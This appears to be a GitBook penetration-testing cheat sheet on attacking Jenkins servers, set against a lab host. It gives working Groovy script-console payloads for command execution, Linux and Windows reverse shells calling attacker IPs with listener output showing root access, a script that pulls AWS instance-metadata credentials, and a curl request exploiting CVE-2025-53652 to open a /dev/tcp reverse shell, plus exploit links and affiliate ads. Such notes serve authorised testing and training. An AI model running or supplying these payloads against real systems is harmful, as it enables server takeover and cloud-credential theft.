# Jenkins

## Discovery/Footprinting

Jenkins runs on Tomcat port 8080 by default. It also utilizes port 5000 to attach slave servers.

## Open Registration

```
/signup
/jenkins/signup
```

## Enumeration

`http://jenkins.inlanefreight.local:8000/configureSecurity/`

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2F4Zht49nVJxNmFr0f7aez%2Fimage.png?alt=media&#x26;token=28b86450-2137-461f-b8fe-1e4b673a1f59" alt=""><figcaption></figcaption></figure>

`http://jenkins.inlanefreight.local:8000/login?from=%2F`

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FURSyNFwGqeMm3prrJrdb%2Fimage.png?alt=media&#x26;token=9a50c123-9b9e-4b9c-ba8a-9f4afcd3fa64" alt=""><figcaption></figcaption></figure>

Default credentials such as `admin:admin` or does not have any type of authentication enabled. It is not uncommon to find Jenkins instances that do not require any authentication during an internal penetration test

## Admin access - Script Console

Before 2.0: Admin access

```
http://jenkins_server/script
```

Groovy scripts could be executed: <https://www.labofapenetrationtester.com/2014/06/hacking-jenkins-servers.html>

#### Linux

`http://jenkins.inlanefreight.local:8000/script`

```groovy
def cmd = 'id'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout
```

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FkSWxdUrCy2qrrN3wUdW8%2Fimage.png?alt=media&#x26;token=8c3d84d7-79a1-478b-b5ef-1cb1d2ac71fc" alt=""><figcaption></figcaption></figure>

#### Windows

```groovy
def cmd = "cmd.exe /c dir".execute();
println("${cmd.text}");
```

### Reverse Shell

#### Linux

```groovy
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.14.15/8443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
```

```shell-session
$ nc -lvnp 8443

listening on [any] 8443 ...
connect to [10.10.14.15] from (UNKNOWN) [10.129.201.58] 57844

id

uid=0(root) gid=0(root) groups=0(root)

/bin/bash -i

root@app02:/var/lib/jenkins3#
```

#### Metasploit

`msf > use exploit/multi/http/jenkins_script_console`

#### Windows

{% embed url="<https://github.com/Brzozova/reverse-shell-via-Jenkins>" %}

{% embed url="<https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76>" %}

```groovy
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

## Retrieve AWS credentials&#x20;

Access to Groovy Console

```groovy
def tokenCommand = 'curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"'
def dataCommand = 'curl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/latest/'

def proc1 = ['sh', '-c', tokenCommand].execute()
def token = proc1.text.trim() // Get the token from the first command
proc1.waitFor()

if (proc1.exitValue() == 0) {
    def proc2 = ['sh', '-c', dataCommand.replace('$TOKEN', token)].execute()
    def errorBuffer = new StringBuffer()
    proc2.consumeProcessErrorStream(errorBuffer)
    println(proc2.text) // Print the response
    println(errorBuffer.toString()) // Print error messages, if any
} else {
    println("Failed to retrieve token: ${proc1.err.text}")
}
```

## No admin access but could add or edit build steps

{% embed url="<https://www.labofapenetrationtester.com/2014/08/script-execution-and-privilege-esc-jenkins.html>" %}

{% embed url="<https://www.labofapenetrationtester.com/2015/11/week-of-continuous-intrusion-day-1.html>" %}

Add a build step, add "Execute Windows Batch Command" and enter:

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FWeeQiA6b3hR1AbO5TL4Z%2Fimage.png?alt=media&#x26;token=374e16e5-da0c-406e-bb88-042717c9100b" alt=""><figcaption></figcaption></figure>

```
powershell -c command
```

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FIeSSFxKPJb0gRpszp7Gn%2Fimage.png?alt=media&#x26;token=a395df27-2c61-4e76-8853-d4d0e2637af2" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FyHd6NORqEges7VTNA83w%2Fimage.png?alt=media&#x26;token=5b249d00-f390-44b4-b201-78a87d941557" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FEKzuwgHTWtLzXv3jprlI%2Fimage.png?alt=media&#x26;token=38bb6103-e567-441a-9dc5-3397aed60615" alt=""><figcaption></figcaption></figure>

## CVE-2025-53652 - Command Injection via Git Parameter

```
curl -kv 'http://jenkins:8080/job/[buildName]/build' -X POST \
  -H 'Cookie: [cookie];' \
  --data-urlencode 'Jenkins-Crumb=[crumb]' \
  --data-urlencode 'json={"parameter":{"name":"BRANCH_PARAM","value":"\$(bash -c \"bash &> /dev/tcp/10.9.49.196/1270 <&1\")"}}'
```

{% embed url="<https://www.vulncheck.com/blog/git-parameter-rce>" %}

{% embed url="<https://github.com/pl4tyz/CVE-2025-53652-Jenkins-Git-Parameter-Analysis>" %}

## CVE-2024-23897 - Arbitrary File Read Vulnerability Leading to RCE

{% embed url="<https://github.com/binganao/CVE-2024-23897>" %}

{% embed url="<https://github.com/h4x0r-dz/CVE-2024-23897>" %}

{% embed url="<https://0xdf.gitlab.io/2024/02/12/htb-builder.html#authenticate-jenkins-access>" %}

## CVE-2024-43044 - Arbitrary file read that allows an agent to fetch files from the controller

{% embed url="<https://github.com/convisolabs/CVE-2024-43044-jenkins>" %}

## Tools

JenkinsVulnFinder

{% embed url="<https://github.com/Bhanunamikaze/JenkinsVulnFinder>" %}

## Resources

{% embed url="<https://0xdf.gitlab.io/2022/04/14/htb-jeeves.html>" %}

{% embed url="<https://www.hackingarticles.in/jenkins-penetration-testing/>" %}

{% embed url="<https://cloud.hacktricks.xyz/pentesting-ci-cd/jenkins-security>" %}

{% embed url="<https://exploit-notes.hdks.org/exploit/web/jenkins-pentesting/>" %}

## [Earn Free Crypto / BTC with Cointiply](https://cointiply.com/r/pkZxp)

[**Play Games Earn Cash Rewards**](https://cointiply.com/r/pkZxp)

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FtT3srZzbUxV8iN6zjNrl%2Fimage.png?alt=media&#x26;token=962e4759-e8b9-4e26-b998-6df524fdfaf8" alt=""><figcaption></figcaption></figure>

## Interesting Books

{% content-ref url="../../interesting-books" %}
[interesting-books](https://0xss0rz.gitbook.io/0xss0rz/interesting-books)
{% endcontent-ref %}

{% hint style="info" %}
**Disclaimer**: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.
{% endhint %}

* [**The Web Application Hacker’s Handbook**](https://www.amazon.fr/dp/1118026470?tag=0xss0rz-21) The go-to manual for web app pentesters. Covers XSS, SQLi, logic flaws, and more
* [**Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities**](https://www.amazon.fr/dp/1718501544?tag=0xss0rz-21) Learn how to perform reconnaissance on a target, how to identify vulnerabilities, and how to exploit them
* [**Real-World Bug Hunting: A Field Guide to Web Hacking**](https://www.amazon.fr/dp/1593278616?tag=0xss0rz-21) Learn about the most common types of bugs like cross-site scripting, insecure direct object references, and server-side request forgery.